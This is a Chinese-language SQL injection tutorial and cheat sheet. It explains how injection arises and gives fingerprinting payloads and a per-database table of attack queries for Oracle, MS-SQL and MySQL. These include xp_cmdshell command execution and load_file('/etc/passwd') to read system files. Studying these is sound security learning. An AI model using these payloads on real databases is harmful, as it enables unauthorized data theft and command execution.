1.简介
解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。
编译型语言是一种代码在生成的时候转换成机器指令,然后在运行时直接由使用该语言的计算机处理器执行这些指令。
基于解释型语言的执行方式,产生了一系列叫做代码注入的漏洞。解释器处理的数据实际上是由程序员编写的代码和用户提交的数据共同组成的。当用户输入被解释成程序指令执行时,就造成了注入。
在编译型语言中注入的有效载荷为机器代码。
SQL是一种解释性语言,Web应用程序经常建立合并用户提交的数据的SQL语句,如果建立语句的方法不安全,那么应用程序就会易于收到SQL注入攻击。
2.注入流程
2.1 “指纹”识别数据库
1.注入位置为字符串时,使用字符串连接方法
- Oracle: ‘serv’ || ‘ices’
- MS_SQL:‘serv’ + ‘ices’
- MySQL:‘serv’ ‘ices’ [注意中间有空格]
2.注入位置为数字时,使用求值
- Oracle: BITAND(1,1)-BITAND(1,1)
- MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
- MySQL:CONNECTION_ID()-CONNECTION_ID()
3.MySQL内联注释
MySQL处理注释时,如果一个注释以感叹号开头,接着是数据库版本字符串,那么只有数据库的实际版本等于或高于那个字符串,应用程序就会将注释内容解释为SQL;否则应用程序会忽略注释内容。
/*!32302 and 1=0*/ #若MySQL版本高于或等等于3.23.02时,其中的字符串会使SELECT语句的WHERE子句为假
2.2 常用SQL语法
操作 | Oracle | MS-SQL | MySQL |
---|---|---|---|
获取当前数据库用户 | SELECT Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT(‘USERENV’,‘SESSION_USER’) | select suser_sname() | SELECT user() |
引起时间延迟 | Utl_http.request(‘http://example.com’) | waitfor delay '0:0:10’ exec master…xp_cmdshell ‘ping localhost’ | sleep(10) |
获取数据库版本字符串 | select banner from v$version | select @@version | select @@version |
获取当前数据库 | SELECT SYS_CONTEXT(‘USERENV’,‘DB_NAME’) FROM DUAL | select db_name() 获取服务器名称:select @@servername | select database() |
获取当前用户权限 | select privilege from session_privs | select grantee,table_name,privilege_type from information_schema,table_privileges | select * from information_schema.user_privileges where grantee = ‘[user’] |
显示用户表 | select object_name,object_type from user_objects where object_type='TABLE’ 显示用户的所有表:select table_name from all_tables | select name from sysobjects where xtype=‘U’ | select table_name from information_schema.tables where table_type=‘BASE TABLE’ and table_schema!=‘mysql’ |
显示列名称 | select column_name,name from user_table_columns where table_name = ‘FOO’ | select column_name from information_schema.columns where table_name=‘foo’ | select column_name from information_schema.columns where table_name =‘foo’ |
与操作系统交互 | * | exec xp_cmdshell ‘dir c:’ | select load_file(’/etc/passwd’) |